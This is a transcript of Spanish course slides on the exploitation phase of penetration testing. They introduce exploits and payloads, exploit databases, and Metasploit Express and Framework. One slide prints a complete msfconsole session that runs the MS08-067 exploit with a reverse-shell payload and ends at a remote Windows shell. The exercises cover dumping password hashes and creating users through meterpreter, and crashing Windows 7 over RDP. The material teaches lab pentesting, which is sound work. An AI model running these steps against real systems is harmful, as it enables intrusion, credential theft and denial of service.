Seguridad y Alta Disponibilidad: Test de intrusión (III): explotación de vulnerabilidades

Transcripción

1 Seguridad y Alta Disponibilidad: Test de intrusión (III): explotación de vulnerabilidades Jesús Moreno León jesus.moreno.edu@ juntadeandalucía.es Septiembre 2012

2 Jesús Moreno León, Septiembre de 2012 Algunos derechos reservados. Este artículo se distribuye bajo la licencia Reconocimiento-CompartirIgual 3.0 España" de Creative Commons, disponible en Este documento (o uno muy similar) está disponible en (o enlazado desde)

3 Exploits Cuando se han encontrado los bugs, el objetivo es crear una herramienta que saque partido de ellos, es decir, que sea capaz de hacer uso de esa funcionalidad no definida del programa. Para ello, se analizan las posibilidades y alcance de ese bug y se opta por un determinado exploit, que es, precisamente, un código escrito con el fin de aprovechar un bug para obtener diversos privilegios. Todos los exploits tienen dos partes diferenciadas: La cabecera, que es lo que se denomina exploit puramente y que depende de cada bug El cuerpo, denominado payload que son acciones ya programadas que se reutilizan entre los diferentes exploits

4 Búsqueda de exploits El número de vulnerabilidades que se publican diariamente es altísimo. Sin embargo, el número de exploits que se ponen disponibles no iguala ni por asomo al de vulnerabilidades Frameworks como Metasploit son una herramienta básica para todo pentester, pero no contiene todos los exploits disponibles, ya que, por ejemplo, muchos exploits sólo se incluyen en frameworks comerciales, como Canvas de Immunity, ya que son desarrollados con sus equipos de exploiters y no son públicos Una buena base de datos es la de Fuente: Seguridad Apple

5 CVEDetails

6 CVEDetails

7 Explotando los bugs Metasploit es una herramienta que aúna una base de datos de cabeceras de exploits y de payloads. Se usa por profesionales de la seguridad informática para realizar Pentests, administradores de sistemas para verificar la instalación de parches e investigadores de todo el mundo para realizar pruebas.

8 Metasploit Express La versión Express es de pago y no es más que un front-end para el framework Metasploit que incorpora funcionalidades que automatizan el proceso de un test de intrusión y permite generar informes con los resultados. Pasos a seguir: 1. Crear un proyecto 2. Descubrir dispositivos 3, Conseguir acceso a los equipos 4. Tomar el control de una sesión 5. Recoger datos de las máquinas atacadas 6. Limpiar la sesión 7. Generar un informe

9 Metasploit Express Veamos los pasos a seguir para conseguir una sesión en este equipo, que es un Windows XP en el que un usuario está navegando por Internet

10 Metasploit Express

11 Metasploit Express

12 Metasploit Express

13 Metasploit Express

14 Metasploit Express

15 Metasploit Express

16 Metasploit Express

17 Metasploit Express

18 Metasploit Express

19 Metasploit Framework Este framework incluye herramientas, bibliotecas, módulos y una interfaz de usuario. La funcionalidad básica es un lanzador de módulos que permite al usuario configurar un exploit y lanzarlo contra un equipo objetivo. Si el exploit tiene éxito, se ejecuta el payload en el objetivo y se le facilita al usuario una shell para interactuar con el payload.

20 Metasploit Framework Cómo se configuran y se lanzan los exploits con el framework? msf> use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi)> set RHOST X.X.X.X RHOST => msf exploit(ms08_067_netapi)> set PAYLOAD windows/shell_reverse_tcp PAYLOAD => windows/shell_reverse_tcp msf exploit(ms08_067_netapi) > set LHOST Y.Y.Y.Y LHOST => msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on :4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 lang:spanish [*] Selected Target: Windows XP SP3 Spanish (NX) [*] Attempting to trigger the vulnerability... Microsoft Windows XP [Versi?n ] (C) Copyright Microsoft Corp. C:\WINDOWS\system32>

21 Metasploit Framework Práctica 1: aprovechando la misma vulnerabilidad y usando el mismo exploit, utiliza el payload meterpreter e investiga todas las posibilidades que te ofrece una vez conseguida una sesión en la máquina objetivo: Subir ficheros Ejecutar programas Descargar ficheros Activar el acceso remoto Crear usuarios Copiar las hashes de las passwords...

22 Metasploit Framework Práctica 2: DOS a Windows 7, a través de una versión no actualizada del escritorio remoto CVE Localizar exploit 2. Configurar exploit 3. Lanzar exploit 4. Pantallazo azul

23 Más información Estas diapositivas están basadas en el curso Pentesting con Metasploit Framework, impartido por Pablo González de Informática